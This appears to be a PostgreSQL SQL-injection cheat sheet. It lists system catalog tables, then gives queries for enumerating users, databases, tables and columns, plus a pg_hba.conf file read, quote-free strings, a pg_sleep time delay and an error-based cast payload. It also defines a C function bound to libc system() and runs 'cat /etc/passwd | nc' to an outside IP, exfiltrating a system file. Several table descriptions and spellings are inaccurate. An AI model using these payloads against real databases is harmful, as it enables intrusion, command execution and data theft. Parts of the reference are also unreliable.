postgresql database basis

postgresql basis

the system catalog tables of psotgresql include the following tables:

• pg_databases:contains information about all databases, such as database name, owner, character set, etc
• pg_tablespace: contains information about all table spaces, such as table space name, location, etc.
• pg_class:contains information about all objects such as tables, indexes, sequences, etc., such as object name, schema, object type, etc.
• pg_attribute:contains information about columns of all objects such as tables, views, indexes, etc., such as column name, data type, whether it is a primary key, etc.
• pg_index: contains information about all indexes, such as index name, associated table, index type, etc.
• pg_namespace: contains information about all schemas, such as schema name, associated database, etc.
• pg_user: contains information about all users, such as username, password, whether it is a superuser, etc.
• pg_roles: contains information about all roles, such as role name, whether it is a superuser, etc.
• pg_authid: contains information about all authentication, such as username, password, role, etc

query & command

version --select version();

list users -- select username from pg_user;#-obtains the colum 'username' from table pg_user

create db account -- create user victor with password 'pass123';

current user

• select user  ##obtains a name of recently logged in user
• select current_user ##obtains a name of current user.
• select session_user
• select useranme from pg_user;
• select getpgusername(); ##obtains the user name in current session

list all database select datname from pg_database; ##obtains the list of database in column 'datname' from table 'pg_database'

current database select current_database() 

load file select  pg_read_file('global/pg_hba.conf',0,10000000); ##this command is used to read only the content of the data directory 

list tables select c.relname from pg_catalog.pg_class c left join pg_catalog.pg_namespace n on n.oid=c.relnamespace where c.relkind in('r','') and n.nspname not in('pg_catalog','pg_toast') and pg_catalog.pg_table_is_visible(c.oid); ##lists the tables present in the database

list columns select relname,A.attname from pg_class C,pg_namespace N,pg_attribute A,pg_type T where (c.relkind='r') and (N.oid=C.relnamespace) and (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’);  ##lists the columns present in the database

case statement select case when(1=1) then 'A' else 'B' end; ##returns A

string without quotes select (CHAR(75)||CHAR(76)||CHAR(77)) ##return KLM

time delay select pg_sleep(10); 

command execution create or replace function system(cstring)returns int as '/lib/libc.so.6','system' language 'C' strict; -priv

　　　　　　　　　 select system('cat /etc/passwd |nc 10.10.10.1 8080');##run as pgsql os user

select * from mydata where 1=(select cast((chr(95)||current_database()) as numeric);

 related to che_sql